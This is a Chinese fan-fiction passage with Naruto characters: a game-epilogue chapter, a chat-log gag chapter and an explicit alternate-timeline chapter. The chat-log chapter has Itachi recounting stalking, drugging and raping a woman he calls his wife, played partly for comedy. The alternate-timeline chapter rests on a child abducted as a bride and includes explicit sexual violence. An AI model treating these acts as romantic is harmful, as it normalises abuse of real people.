“等到愿望实现的那天,”我注视着他猩红色的眼睛,将嘴唇轻轻地印上去,呼唤着神祇的名讳,“因陀罗,你将得到我永恒的灵魂。” ——约定好了。 第53章 全家桶番外完 我的百分百被一见钟情Buff原来是对宇智波特攻吗?! 06、尾声:宇智波的好感度原来是周目继承制吗 【内测任务:强吻宇智波0/1】 我盘腿坐在雪白的、空无一物的系统空间里,等待游戏结算奖励。 【内测任务:失败】 到底为什么会失败啊!! 我苦思冥想,在内测时间结束,被弹出游戏世界的瞬间,我就把前因后果全部想起来了。 从我抽中测试资格,到进入游戏遇到鸣人小樱他们,努力和各位宇智波做朋友完成内测任务。 那之后,我抱着脑袋趴在地上痛苦了五分钟,反省自己怎么会和鼬与带土发展成那种关系…… 按照泉奈的说法:月之眼体现的,梦想中的第二种人生,是人内心欲望的放大化。据此推理——在我内心深处,其实隐隐约约馋我挚友身子吗? 我捂着脸呻吟。 我不希望把所有真挚美好的感情都发展成性缘关系。 如果不是游戏,我简直没脸去见这两位挚友了。 难道是最近工作太忙了,是时候放松放松找人谈谈恋爱了?我都寡到把魔爪伸向了对我一向十分温柔亲切的鼬和带土,真不知道游戏里的我在想什么。 在交朋友这方面,我要和鸣人学习的东西有太多了。 不过最要紧的还是,我握紧拳头,眼中怒火熊熊燃烧,痛扁罪魁祸首宇智波泉奈一顿!! 因为我很快想清楚了症结所在。 当局者迷,脱出游戏之后我复盘整个过程,反应过来,原来是宇智波泉奈在整我!! 众所周知,我和所有宇智波都是好朋友,即使在游戏中也能很快成为挚友,而好朋友之间的亲亲是不能算“强吻”的。只有一个人例外。 那就是宇智波泉奈! 他是唯一和我不对付的宇智波,总是对我冷嘲热讽,仿佛我是会抢走斑的坏女人。如果我强行亲他,泉奈一定会当着我面做作地干呕,讽刺我是饥渴的、想攀龙附凤的疯女人,然后掏出大容量漱口水全部用光,来表达对我的鄙视和不屑。 而这次月之眼内测又是泉奈负责,他想动点小手段整蛊我真是再容易不过了。 泉奈就这么想让我任务失败,拿不到内测酬金吗?!他根本不缺钱,就是单纯为了让我难堪吧,这个小肚鸡肠的混蛋!! 为了捉弄我,甚至不惜牺牲自己,冒着我强吻他成功的巨大风险,太阴险了。 我真讨厌宇智波泉奈!! 总之,泉奈的小算盘成功了。我的任务失败了,内测酬金也泡汤了。 我沮丧地坐在地上,在心里阴暗地扎泉奈小人。等着结算完,系统把我弹出去。 【登出倒计时……】 【5……】 【4……】 【3……】 【警报!系统错#¥#%\火+-】 【=-us&\∶a『|#¥』Uchi……ha】 【来自■■■的赠礼】 诶? 我一愣。 任务失败也有奖励吗? 话说■■■是什么,为什么是一团猩红色的、眼睛形状的乱码,一直在闪,看起来好瘆人。 像在盯着我看似的。 让我浑身不舒服。 我记得内测前的培训说,为了避免我们这批玩家泄露游戏内容,这次内测是删档测试。游戏数据会在内测结束后统一销毁。 也就是我不会保留在游戏里的记忆。 发给我游戏中的奖励,在我登出游戏舱以后,也会被删除。 我不明白系统这时候给予我赠礼的用意。 我带不出去,以后月之眼公测也无法使用。 而且我的整个游戏体验,也和他们培训时说的大相径庭。那些应该被删去的血腥暴力、战争场面、限制级剧情……我一个不落地亲历了一遍高清版。 张握手掌,依稀残留着手里剑的触感。 逼真得不可思议。 多亏我和正常人不太一样,从小就对这些另一边的黑暗事物抗性比较强,否则在那个世界生活久了,高低闹出个精神崩溃来。 泉奈为了整蛊我,到底花了多少心思啊!!我在心里阴暗地腹诽。 面前出现了一张边缘毛毛躁躁,像是随便从记事本上撕下来的纸条,纸条旁边还有一盒半旧不新的儿童油画棒。 我:…… 纸条和油画棒,这就是我的内测奖励吗?是不是有些太糊弄了,我又不是小孩子。 纸条是空白的,像空头支票一样。 等等……我想了想。 给予我纸笔,难道是可以自己提出想要的奖励……? 月之眼的自由度真高啊! 不愧是跨时代的全息游戏。 好有趣! 我拿过纸笔,高高兴兴趴在地上,在纸条上用油画棒涂鸦了许多小花小爱心小闪光装饰,让它变得像游戏奖券一样五彩缤纷。 没有内测酬金拿也没关系,自己给自己发奖券也很好!我就这样积极乐观地安慰自己! 至于奖励要什么,我早就想好了。 尽管这些游戏记忆在我回到现实世界之后不会被带走,而是留在游戏舱内被删除,我在游戏里遇到的也不全都是快乐的内容。 恰恰相反,后半段日子我过得十分压抑。还和之前的挚友发展出了奇怪的混乱关系。 但每一段记忆都有其存在的意义,都是宝贵的人生旅途中的一部分。 更何况,那是我重要的第二个人生。 记忆能够被遗忘,感情却不会。 我想要的游戏奖励是,保留我在游戏世界里与大家诞生的珍贵的感情。 那就是友谊! 似乎感应到了我强烈的愿望,纸条上自动浮现出拙稚的字体。 【百分百——】 和大家交上朋友! 一定是这样吧! 我自信地想。 没错,就是带着上一周目的好感度,在每个世界都成功和大家做挚友! 我就这样乐观地、完全忘掉了被弹出游戏之前,怒火中烧的带土、被我亲来亲去的佐助和斑,将我从大名手里夺走的鼬,还有随随便便许下无法后悔的神愿的因陀罗。 只记得交了很多重要的挚友呢! 我喜滋滋地注视着纸条,字还没有浮现完,我的眼前忽然出现了一袭长袍。我疑惑地抬起头去,看见了白发白眼、气质出尘的大筒木辉夜。 说是辉夜,却又不尽然,她比我认识的那个辉夜更加神性,宛如女神般高洁凛然,纤尘不染。额头上还有猩红色的第三只眼睛。 我完全没想到一个单人游戏的结算空间还有其他人存在,加上这里没有任何家具,我是趴跪在地上写写画画的,姿势十分不雅。 谁会在一个人独处放松的时候,坐得像大小姐一样高雅美丽啊! 我立刻涨红了脸,连滚带爬站起来:“辉夜?你怎么会在这里?” 难道她是系统精灵? “……”她盯着我看了一会儿,眼神陌生冰冷,“看来你就是那个人了。” 我:“嗯嗯?” “我被自己的后代封印在始球空间之中许多年,”辉夜冰冷地说,“我一直在等待有人将我的封印解除,释放我,还给我自由。” 始球空间……? 这里不是游戏空间吗?我有些不安。 她将我手中的纸条毫不留情地抽走,注视我宛如注视蝼蚁。 “居然是如此弱小的人类,真不知道你有什么能耐,能通过阴之力与阳之力的查克拉封印。” 虽然我认识的那个辉夜也冷冰冰凶巴巴的,但这个辉夜好像更不友好。 “大概是,我有和大家都能成为好朋友的能力吧!”我自信地说,挺起胸膛。 但即使是这个更冷漠的、还不认识我的辉夜,也是我喜欢的辉夜! “噢?”辉夜冷淡地说,“用那可笑的‘爱’吗?也好,我就等着你展现给我的那天了。” “不,”我笑着说,“辉夜,那不需要展现呀。” 辉夜冷笑道:“噢?” 我将她扑倒在地上,伸出手臂抱着她,将脑袋埋在辉夜有着月亮般香气的怀里,依恋地说:“我和辉夜已经是好朋友了呀。我们之间,已经有‘爱’诞生了!” “……??!!” 我用脸颊蹭了蹭她柔软的手臂:“封印在这里这么多年,辉夜一定很寂寞吧?所以辉夜才那么喜欢游览世界各地,拍摄浩瀚天地……下次旅行,带我一起去好不好?” “胡言乱语……我根本不认识你!!” 辉夜三只眼睛同时瞪大,她的身体变得僵硬,随后像忽然想到什么似的,“嘭”的一声原地消失了。 瞬移。仿佛是落荒而逃。 我:“……咦?” 在她离开的地方,落下一张五彩缤纷的奖券纸条,和我的身体一起,渐渐化为数据流的光点,消失不见了。 原来是到脱离游戏的时间了。 但是那张不知道飞去哪里的奖券纸条,为什么越看越眼熟? 这份赠礼无法带出游戏保存纪念,也无法在未来的月之眼公测中使用。 难道,还能以别的途径,来到我的手中吗? * 我在游戏舱内睁开眼睛,第一眼看到的就是宇智波泉奈苍白的脸。 他难以置信地盯着我,嘴唇颤抖着,漆黑的眼睛一瞬间变成了猩红色。 “你……”泉奈嗓音沙哑。 “泉奈——噗呃!!” 新仇旧恨涌上心头,我抱着被扣工资的决心扬起拳头,决定趁其不备,狠狠揍泉奈的肚子一拳,谁知道还没起身,就忽然被泉奈紧紧抱住了。 肺部的空气似乎都被他勒出来了。 为什么你们宇智波的力气都比我大这么多。 “你没事……”他哽咽着,“你醒过来了……” 我:?? 今天太阳从西边出来了?? 我被泉奈紧紧勒在怀里,他将脑袋搁在我的肩膀上,呼吸急促,浑身发抖。 脖颈处湿湿的。 这家伙是哭了吗? 我有些震惊。 这还是那个舔嘴唇能把自己毒死的泉奈吗? “泉奈……?”我有些迟疑地、生涩地虚虚回抱他,轻声问,“怎么了,你还好吗?” 即使是积怨已久的宿敌,面对泉奈此刻罕见的、脆弱敏感的样子,我也无法硬下心肠嘲笑他。 嗯,没错。因为我是温柔的好人!和爱挖苦人的刻薄鬼宇智波泉奈完全不同! 泉奈没有说话。 我抬头看去,被眼前的景象吓了一跳。 周围乌泱泱站了好多人,我的朋友们都来了。 宇智波开族会可能人来得都没这么齐。 连刚认识的止水都在,他真是个关心朋友,热心肠的好人呀。 见我望过去,止水对我笑着招了招手。 医疗团队上来给我检查身体,确认没问题之后,和斑汇报了片刻后就离开了。 大家都松了一口气,紧绷凝重的气氛缓解,变得放松起来。 鼬在旁边低声解释,说我一进入游戏就失去了意识。泉奈花了几天几夜,也没找到我的意识数据去了哪里。 我的朋友们担心我,也都赶了过来。 原来我这两天有点死了!! 怪不得泉奈吓成这样。 虽然是泉奈的锅,但看他都哭了。我也不好意思在这么多人面前再说他什么。就轻轻抱了抱他安慰。 “我没事啦,泉奈,别担心。” 泉奈原本已经控制住情绪要松开我了,他在宇智波里辈分高,有祖宗包袱,方才失态已是罕见。这下又变得黏人起来,抱着我不肯松开手。 “我才没有担心你……呵,你以为自己是什么身份,对我很重要吗?” 出现了啊!正常模式的毒舌宇智波泉奈! “泉奈。”斑在一旁威严稳重地喊道。 “……”泉奈顿了顿,不情不愿地松开了我,“明白了,斑哥。” 不知道是谁,在人群里很明显地、不耐烦地“啧”了一声。 “又多了一个碍眼的小鬼……” 不对等等因陀罗你怎么也在这里?! 宇智波开族会和你大筒木有什么关系?? 佐助抱着手臂,靠着墙冷冷地站着:“你到底跑去哪儿了?” 我想了想,脑子里没有任何记忆,但是看到这些放下手里的事,赶过来关心我的朋友们,我的心里又涌起一股说不清道不明的浓厚温暖感情。 似乎我们在几百年前就曾见过,建立过深厚的羁绊。 而我利用了宝贵的约束力量,许下了再会的愿望。 眼眶变得有些酸涩,我掩饰般的低下头,用手背使劲蹭了蹭眼睛。又抬起头,看着大家露出幸福的笑容。 在和平的世界里,与我的朋友们在一起,再没有比这更好的结局了。 “想不起来了,”我歪着脑袋,笑着说,“不过……最近,好像有点想谈恋爱了。” 似乎是我在游戏里获得了什么启迪。 想要在工作之外放松放松。 但是,话音刚落,我的笑容就有些迟疑起来。 空气里的紧绷张力令人脊背发毛。 有人站了起来。 我的冷汗情不自禁地流出来。 这似乎是个不太妙的决定。 手腕被人猛地攥住了,捏得骨头嘎吱嘎吱作响。 想要后退,腰肢也被强壮健硕的手臂紧紧揽住了。 挣扎扭动的肩膀上按着炽热滚烫的大掌,手指一根一根收紧,控制着我的行动。 灼热的气息逼近。 许多双猩红色的眼睛看过来,阴冷的视线犹如实质,几乎要剥去我所有的蔽体之物,触探我的骨与血肉。 我喉咙干涩,艰难地吞咽着。 这场景,给我一种诡异的、莫名的熟悉感。 “好啊……”有人轻笑着问,湿热甜蜜的吐息拂过耳畔,使我毛骨悚然,“那你要选哪个?” 第54章 彩蛋:宇智波鼬的恋爱烦恼 <宇智波鼬> Saturday , September 27,2025 这里是木叶公益咨询室,请说出客人您的烦恼吧 4:08 PM 宇智波鼬: 您好,我的困扰是妻子有恐男症怎么办?4:09 PM 诶诶?具体是什么情况呢4:09 PM 宇智波鼬: 那是个非常可爱善良,热心帮助他人的温柔孩子。4:09 PM 宇智波鼬: 在生活中遇见违背她心中正义感的事情。 无论对方有多么强大,她总会挺身而出,挡在弱小者面前。4:15 PM 听起来是很温柔的女孩呢[天使emoji]~4:16 PM 宇智波鼬: 那颤抖的、泪盈于睫、呜咽着即使害怕也勉强自己保护他人的勇敢样子。就像可爱的小动物似的。让人呼吸困难,情不自禁兴奋起来。 呼呼……哈啊……那孩子的泪水,可爱到心脏都要停止跳动了。4:16 PM …… [惊恐emoji]?4:16 PM ????!!!!4:17 PM 宇智波鼬: 不知不觉间,我的目光被那孩子倔强认真、辛苦地奔走于木叶的大街小巷的身姿所吸引。 通过在暗部学习到的技巧,每一天、每一分每一秒都注视那孩子的日常生活。 了解那孩子的癖好、隐私与秘密。 意识到的时候,我们心意相通,坠入了甜蜜的爱河之中,目前在热恋期。4:18 PM ……哈、哈哈4:18 PM 呃、虽然……既然不过……既然是两情相悦那就没办法啦!世界这么大,可能就是有性癖是被 STK 的女生呢!4:19 PM 但鼬先生还是少做点偷窥跟踪的事吧!!把暗部的工作运用到正确的地方去啊!4:20 PM 宇智波鼬: 是的,没错,咨询屋小姐也认为我们是相爱的吧? 我和那温柔的、可爱的、总是关心帮助他人的孩子是两情相悦的。这一点无可指摘。4:22 PM 宇智波鼬: 父亲也找过我谈话,既然已经遇见了自己的妻子,那么也应该备上礼物,去见一见女方的家长,谈论婚礼的流程。4:23 PM 对啊对啊!要做负责任的男人!! 等等不对[惊恐emoji] 还没有办婚礼吗? 那鼬先生为什么把对方称为妻子??4:24 PM 宇智波鼬: 我也认为父亲的观点是正确的。 于是找机会同妻子谈了谈。4:30 PM 回答我的问题啊!!4:30 PM 宇智波鼬: 也正是这时,我发现,妻子的恐男症,已经严重影响到了我们之间正常甜蜜的交往接触。4:30 PM 别无视我啊喂!!4:30 PM 回答我的问题啊鼬先生!!! 好恐怖啊我有点被吓到了快说你们经去火影楼交过婚姻届了只是没有办婚礼而已!!4:31 PM 宇智波鼬: 明明……和她的其他男性朋友,那个狐狸脸的人柱力、日向分家的笼中鸟、奈良家的男孩……这些人都有说有笑。4:34 PM 这不是鸣人宁次和鹿丸吗???4:34 PM 宇智波鼬: 为什么……当我亲吻她的时候,却哭着尖叫着想要逃走呢?4:35 PM 鉴于各位宇智波在我这里咨询的前科,我姑且问一句 你妻子认识你吗?4:35 PM 宇智波鼬: 她恐惧地哭叫着推开我的行为使我的心脏无比痛苦。 为何要如此排斥我呢? 她的恐男症严重到了如此地步,真是让我心疼……4:36 PM 那根本不是恐男症吧喂!!!4:36 PM 停止骚扰女孩子啊鼬先生!!我要举报到暗部了喂!!!4:37 PM 宇智波鼬: 我对信任的前辈止水诉说了我的烦恼以后,前辈开导了我4:39 PM 暗部领导人就是你前辈啊!!!4:39 PM 这么说举报也没用吗???4:40 PM 宇智波鼬: “要更加努力地表达自己的心意啊,小鼬。” 止水哥笑着说。 这句话为我指点迷津,令我茅塞顿开。4:40 PM 你在茅塞顿开个什么劲啊! 救命啊!!有没有人来管管这个被邪恶宇智波统治的木叶暗部!!4:41 PM 宇智波鼬: 于是我愈发努力地对她展现自己的爱意。频繁地亲吻抚摸她使她脱敏。4:42 PM 宇智波鼬: 在最初,她的恐男症依然是一种障碍。4:43 PM 都说了那根本不是什么恐男症啊!!收手吧鼬先生!!别在违法犯罪道路上走得更远了啊(泣)!!4:43 PM 那女孩子还好吗我的天啊4:44 PM 宇智波鼬: 但我在医疗部那里得到了治愈她的特效药剂,只要运用暗部的机巧,让那孩子无知无觉地喝下,她便能在睡梦中展现对我的甜蜜爱意…… 呵呵呵,那真是一段美好的时光。4:46 PM 别把下药迷■说得这么好听啊!!强制爱是你们智波的被动技能吗???4:47 PM 宇智波鼬: 治疗果然是有效的。4:47 PM 有效个毛线啊!!! 我要吓晕了 咨询过程中被宇智波的情史吓晕能报工伤吗火影大人4:48 PM 宇智波鼬: 那孩子逐渐接受了我……无论我给予她多少,都幸福地容纳到身体里。4:49 PM 那是迷■啊迷■!!!4:50 PM 宇智波鼬: 最近,在履行着独属于丈夫的幸福职责,在黑暗中注视那孩子的一举一动时,我发现那孩子身体的异样。4:51 PM 真没人觉得宇智波掌管警务部是方便他们自己人谈单方面恋爱吗?4:53 PM 宇智波鼬: 晨起与饮食时,那孩子苍白的脸色,抱着盥洗池干呕的痛苦呻吟,都让我揪心不已。4:53 PM 宇智波鼬: 医疗部的人给予了我试剂,检测了一下,那孩子果然拥有了我们爱的结晶。4:54 PM 已经是鬼故事了。4:54 PM 宇智波鼬: 稍微也想在妻子清醒的时候,告诉她这个好消息。但是刚出现在她的视线范围内,那孩子就躲在了友人的身后。4:55 PM 宇智波鼬: 明明丈夫是我,为什么却依赖着别的男性,寻求着他人的庇护? 啊啊……出轨。4:56 PM 我快吓尿了有没有人管管4:58 PM 宇智波鼬: 我想询问您,咨询屋小姐。4:59 PM 嗯嗯?脱罪的办法吗?情况太复杂了建议您问问其他宇智波呢。4:59 PM 宇智波鼬: 为什么要出轨呢?5:00 PM 等等 不对 被骚扰的可怜女孩子原来是我啊!!!!我说最近怎么总是犯困,晚上睡得死沉!!是你干的啊!!!!5:00 PM 宇智波鼬: 我相信,只要我们齐心协力,妻子的恐男症是可以被治愈的。5:01 PM 离我远点啊!!!!5:01 PM 宇智波鼬: 房间里有很响的动静呢,是摔倒了吗? 你总是这么迷糊迟钝,让人爱怜又担心呀。 我进去看看情况,等着我。5:06 PM Enter a message 第55章 恶种IF线番外-上 【小时候找到你的不是羽衣而是因陀罗的IF线。主佐助+因陀罗,带点ALL梦主汤底。 因陀罗直接“是时候履约了,我的妻子”将年幼的你强行带走了。你没能得到正常的爱与教育。在因陀罗的饲养下,坏种生根发芽开出恶之花。 是的,诱拐+养成幼妻,劲爆啊老祖宗。 该IF线充满违法犯罪内容,容易在纸片人身上投射正义感的朋友不推荐阅读。】 番外四、恶种IF线 01、交易 宿醉令宇智波佐助头痛欲裂。 大脑内仿佛有一台高速运转的搅拌机,男人按着太阳穴,低哼着被手机铃声唤醒,在床头胡乱抓握了几下,将手机贴上耳朵,嗓音沙哑。 “这里是宇智波佐助——” 对面传来的声音令佐助困意全无,猛地睁开双眼。 “宇智波警视!!警视!!老天啊,我们在警视厅和您的住宅都找不到您,电话也打不通,急了一个上午了!!”那人大叫道。 佐助立刻意识到自己今天原本的重要任务,他起身披衣:“庭审是吗?检视报告我马上送过去。” 对面沉默了片刻。 在那几秒钟,佐助身体里的血液被一点点冻结。 电话那头的声音证实了他心中不祥的预感。 “庭审在两个小时前结束了,我们缺少最关键的定罪证据。” 他一向沉稳坚毅的下属抽噎了一下,失声痛哭道。 “公诉失败,警视!因陀罗已经被无罪释放了!!” 因陀罗狡猾奸诈,无恶不作,多次逃脱法律的制裁。数月前,警视厅出动大量人手,好不容易抓到他的把柄。 稳妥起见,按事先商讨的计划,最重要的罪证保管在警视佐助身边,他将在庭审当天送达。可佐助却无故缺席—— 他渐渐想起了昨晚发生的事。 佐助险些抓不住手机。 一只纤细白皙、柔若无骨的手将手机从佐助手里抽出来,懒洋洋地、撒娇般地对电话那头说了一句:“真是烦人,宇智波警视和我还有其他事要忙呢……” 接着便慵懒地把手机随手一丢,手机滚动着撞到金属艺术摆件,屏幕磕在棱角上,撞得粉碎,四分五裂,显然是不能再用了。 佐助缓缓回过头,眼球充血,阴郁地瞪着她。 冰冷的怒火在他的黑瞳中熊熊燃烧,点燃一切,将漆黑化为猩红。 年轻的女人吃惊地捂住嘴,无辜道:“呀,怎么会摔坏了。” 她毫无愧疚之心,也懒得惺惺作态。 佐助阴冷地注视着女人懒洋洋地打了个哈欠,越过他的身躯爬下去。 她未着寸缕,却一点儿也不感到羞耻,坦然自若地舒张着身躯,一件一件捡拾地上散落的衣物。正午耀眼的金阳越过落地窗,打在女人柔嫩白皙的肌肤上。 那一身娇嫩好皮肉如今已惨不忍睹,满是激烈的情事后遗留的青紫痕迹。胸脯与腰**残留着清晰的指印,双腿间有着干涸的痕迹。 高跟鞋一只倒在门口,一只挂在床沿。香槟金的礼服早就被撕成了碎片,圆润光滑的珍珠项链也成了地毯上一颗颗散落的点缀。 她在警视制服、配枪、警棍与手铐间找到自己那条布料少得可怜的底裤碎片,当着佐助的面展开,娇嗔着埋怨:“警视先生还真是暴力,人家只有这一条内裤,这下我只能真空出门了呀。” 佐助死死盯着她。 她娇笑着捂着唇,就这样赤身露体地又走回来,靠近佐助,抚摸他的脸颊:“这个热烈的眼神……警视先生还想再来一次?哎呀,真是热情似火啊……呀!” 她惊呼一声。 佐助猛地将她从自己身上掀开,她重重摔在了床上,就这样赤裸着躺下,发丝散落,咯咯笑着看着佐助咬着牙板着脸,一件一件捡起衣物穿上,最后将床头柜上摆着的相框砸在她身上。 “真粗鲁。”她娇纵地鼓着脸埋怨,“人家的手都被你砸红了。” 他气得牙齿咯咯作响,懊悔与恼怒令他失去理智,眼球满是血丝。手掌按在配枪上。 “你这个女人……你这个女人!!”他怒吼,“真是好算计!” “怎么了呀,谁惹你不高兴了,”她笑着说,亲昵地喊他,“生这么大气,佐助。” 她慵懒地坐起身,柔若无骨地依靠在佐助身上,顺手将相框重新放在床头柜上,阳光落在照片上一对新婚佳人,女方与她长着相同的脸,而男方,自然是现已无罪释放的大筒木因陀罗。 佐助闻见她发间的香气,僵硬地后退几步,与她保持距离。 “你不是早就知道,我是有夫之妇吗?”她柔声说,“我们昨夜过得不是很开心吗,警视大人?” “……” 佐助喉结上下滚动,痛苦地吞咽了一下。心中被懊悔所吞噬。 他怎么会上这种女人的当。 她笑着靠近不断后退的佐助,用柔媚的躯体,将人压在椅子上,嗓音轻柔湿润:“已故的东京警视厅前任警视总监宇智波富岳的儿子,前途无量的警视大人宇智波佐助,你可是警视厅里最难啃的一块硬骨头。 “无论是普通人一生难以想象的巨额金钱,抑或让无数人趋之若鹜的权势地位,你都不屑一顾。 “我几乎用了所有办法,拿出所有让人眼红的财富资源来邀请你。 “我花了那么多时间精力,想了那么多办法引诱你堕落,为我们所用。 “可你从始至终都看也不看,断然拒绝。 “有那么一段时间,我还真以为你是警视厅那滩腐烂的淤泥里,那堆为了往上爬不择手段,与黑暗勾结的烂人里,唯一还保留着本心的男人。对你另眼相看。 “可现在一看。” 她讥讽刻薄地冷笑起来,满是不屑。但又因为她身上那股特别的、引人堕落的黑暗风情,显得无比迷人性感。 “佐助警视,你不过只是没有遇见,那个能打动你的砝码罢了。” 她饶有兴致地把玩他的发丝,恶劣地在他耳边吹气。 佐助艰难地吞咽了一下,喉结滚动。 “我只是出现在那里,然后,对你笑了一下。你就上钩了呀,警视先生。” 她愉快地、得意地、轻飘飘地笑起来。 “你知道吗?你根本不会掩饰,看向我的火热眼神。因陀罗可是很吃醋呢。” 一阵天旋地转。 她被男人死死压在地毯上,佐助的喘息粗重,眼睛红得滴血:“你骗我……你骗我!!” 他掐着她的脖颈,逐渐收紧力气,咬牙切齿在她耳边怒吼:“你的目的根本不是申请证人保护,你是为了让因陀罗脱罪才——” 佐助何等聪明,几乎在醒来的一瞬间就明白了前因后果。 她早就知道佐助今天要去庭审送检视报告书,所以昨晚,昨晚特地…… 她苍白着脸,哭泣着蜷缩着寻求他的庇护,渴望慰藉与温暖。 没有人能拒绝她。 他喝了不该喝的酒,喝了太多。 宿醉令佐助头痛欲裂,他咬牙强撑。 她嗤笑一声,打断他:“别说的我和那个诱拐犯有什么夫妻情分。为了他?我听到就想吐了。” 佐助在她耳边痛苦地喘息。 他扼住她脖颈的手颤抖而压抑。 他对不起信任他的上司、对不起跟随他的下属。对不起已故的父亲和母亲,也再没有脸面去缉拿叛逃的兄长。 因为她,他一步错,步步错。 “别生气呀。”她嬉笑着,用柔嫩白皙的光洁大腿去蹭男人的腰,“你的前辈也是这么过来的,我想想,叫什么……” “啊。”她莞尔一笑,终于拍去尘埃,从自己繁多的情人堆里,捡起那个名字,拊掌笑道,“宇智波止水?” 佐助呼吸一滞:“止水哥?!” “对呀,”她露出怀念的眼神,“当初他和你一样单纯可爱,疾恶如仇,知道我骗他不过是为了他手里的情报之后,恨我恨得咬牙切齿,差点在床上杀了我。 “不过现在嘛,”她笑起来,“为我做事也没什么不好,是不是?作为雇主,只要小狗们乖乖听话,我一向很大方。下个月的议员换届,我们的止水警视长可是很有希望的。” 她咬着嘴唇,意味深长地笑了:“你的止水哥,嗯……玩得花样可比你多多了。” 她的目光扫过佐助腰侧的配枪警棍与手铐,伸出粉嫩的舌尖,舔了舔嘴唇,留下一点湿润的痕迹。甜蜜地暗示道:“有机会请教请教他吧,小处男。 “至于现在?”她将手按在佐助激烈起伏的胸膛,推了推,轻描淡写地说,“劳驾松一松手,佐助,我得去接我那不争气的,给自己惹了点小麻烦的丈夫了。” 面对她的漫不经心、习以为常,佐助无法接受。 “你对我……”男人痛苦道,难以置信,“你对我做了这种事以后,居然如此心安理得? “为了这件案子……”佐助想起警视厅里这几个月大家夜以继日的劳作,他无颜面对。 “不然呢?”她好奇道,“佐助警视该不会真的被我伪装的那副可怜样骗了?” 佐助脸色难看,唯有沉默。 最初见面时,她是被因陀罗自小诱拐,脆弱无辜,忧郁哀伤,亟需呵护的少女。 在证人保护计划中,佐助救下她许多次。 她完全是个斯德哥尔摩综合征的受害者,柔弱无助,懵懂无知,还未成年便被因陀罗监禁饲养,从未得到过自由。 而现在,目标实现,她卸下了楚楚可怜的伪装。 那一切都是假的。 甚至佐助怀疑,因陀罗这次背上的案子,是帮她顶罪才进去的。 这个恶劣的,有着黑暗忧郁气质,从骨子里就叛逆堕落的,将男人玩弄在股掌之间的邪恶女人。 她像是发现了老鼠的猫似的,露出玩味正浓的邪恶眼神:“哎呀,真的假的?许久没有见过佐助警视这样单纯可爱的男人了。这几年我对付的,都净是些难缠又爱嫉妒的男人。不过玩几场你情我愿的游戏,就要死要活地满世界找我负责,把我吓了个够呛。 “没想到国外待不下去,回东京躲几年风头,遇到了佐助警视这样美味的点心,真是意外之喜。这么说起来,我还要谢谢斑和带土那两个缠人的麻烦家伙。” 她轻轻地,将嘴唇印在佐助的唇上,贴着他的嘴唇,厮磨着低语,舌尖不经意蹭过,循序渐进地引诱:“男人还是听话一点、乖一点才有趣。个个都像我的丈夫因陀罗那样霸道,我可吃不消。” 佐助紧紧抿着唇,抗拒她的靠近。 “佐助警视……”她甜蜜地低语,伸出臂膀拥抱抚摸他。 佐助死死掐着掌心,牙根紧咬。阴郁乌黑眼眸里的憎恨激烈地碰撞着。 他恨之入骨。 “别对我这样冷漠嘛……我的心都碎了……” 她以她的肢体、眼眸、语言和神态引诱他。 “我爱你,嗯嗯,我是真心爱你的呢。” 她那可憎的邪恶、黑暗、顽劣,对他来说,有着致命的吸引力。 他憎恨自己的轻信、愚蠢、侥幸。又恨她的敷衍与翻脸无情。满心懊悔,怒意高涨。 “来呀,警视,亲亲我嘛。就像你昨晚那么热情……” ——又情根深种。 他痛苦地、堕落地、迷恋地张开唇,探出舌尖与她纠缠,无法停止自己回吻她的反射性动作。 强烈的矛盾令他的内心拉扯撕裂,鲜血迸溅。 他无法控制自己的痴迷,放纵自己的欲望,喘息粗重地吻着她,吞食她的**。手掌掐着她柔嫩的腰肢,骨头发出令人发毛的咯吱摩擦声。 亲吻越来越激烈,越来越擦枪走火。 她毫不客气地从他的口中掠夺氧气,也贪婪不知餍足地掠夺他的信仰与灵魂。 这个开宗立派的邪教徒,她妄图使他改信。 女人屈起膝盖,用柔嫩的大腿去蹭他灼热的**,毫不掩饰自己欢愉婉转的呻吟声。 “让我的好丈夫在那里等等吧。” 她在他耳边柔声低语,抓着他的手往下探,嗓音浓情蜜意,仿佛爱他许多,佐助目眩神迷。 “现在,我需要佐助警视帮我,把你昨晚塞进去的珍珠取出来……” 热烈的片段在他脑海中闪烁,她柔软地纠缠着他,白皙娇嫩的肢体柔腻馨香,令他难以自持。 佐助咬着牙,强撑一瞬清醒:“你!” 他清楚地知晓。 这是错误的。堕落的。放纵的。 他在背叛自己过去的原则,打破视为生命的底线。 他清晰地明白这是一条无法回头的深渊之路。 这女人只会让他引火烧身,越陷越深。 可—— “我爱着你呀……”她不知疲倦地吐露着虚伪的爱语。 佐助忽然捂住她的嘴,用力咬在她的脖颈,在她的尖叫声中尝到了腥甜的血腥味。 “咿呀——!” 疼痛、暴力与血腥令她愉快地、兴奋地咯咯笑起来。 “好棒!好棒!喜欢,我喜欢你呀,再给我更多,哈啊……”她娇笑着急促喘息,脸颊染上令人迷醉的红晕,热烈地凑过去吻他,“更多……佐助警视!” 柔嫩白皙的双臂宛如藤蔓般缠上他,索取欢愉。 可他无法停止。 她在他怀中,被他侵占。 只是意识到这点,他的血液便因此沸腾,理智被点燃,只余滚烫的本能。 宇智波佐助痛苦地闭上眼,选择沉沦。 无边无际的黑暗迅速向他袭来。 可他只闻到她令人痴迷的香气。 第56章 恶种IF线番外-下 02、原罪 她乘车前往裁判所时,已是华灯初上。 那里的人告诉她,因陀罗早就离开了。 她给因陀罗打了电话,不出意料,因陀罗没接。 她想了想,也没再试,掐了电话,咬着指甲轻轻笑了几声。 司机看得呆了几秒,半晌才结结巴巴问她接下来要去哪,她想了想,笑着说:“你先回去吧。” “那您……?” 她白皙的面容上印着光影摇曳的灯红酒绿,有种令人心神恍惚的堕落黑暗魅力。女人微微笑着:“我那爱使小性子的丈夫抛弃了我,弃妇嘛,就该有弃妇的落魄样子。让他高兴几天吧。” 毕竟她是雇主,司机也知道自己在为怎样危险的人工作。少说多做是他被她选中的唯一优点,于是很快开着车离开了。 女人懒洋洋坐在裁判所的台阶上,指尖点了点,将自己现在的定位发给了通讯录里的每个人。 “呜呜……”她贴近手机,嗓音又娇又甜,柔软可怜,“我被丈夫赶出家门,今晚无家可归……” 发送,语音。 做完这些,她咬着指尖,嗤嗤笑起来,眼底藏着阴郁怨愤。 她这两天将那个警视厅的小点心吃到肚子里,心情愉快,好心好意和因陀罗玩夫妻情深的把戏,连哄带骗送走佐助,眼巴巴来接他。因陀罗却敢给她脸色看?他算什么东西。 出于伪装身份的需要,她和他扮了几天假夫妻,因陀罗倒真把自己当她丈夫,拿腔拿调起来了。 他不会幼稚可笑到把那场假婚礼上,她的誓言当真了吧? 永生永世?她今天可是在那张婚床上把佐助睡了的。 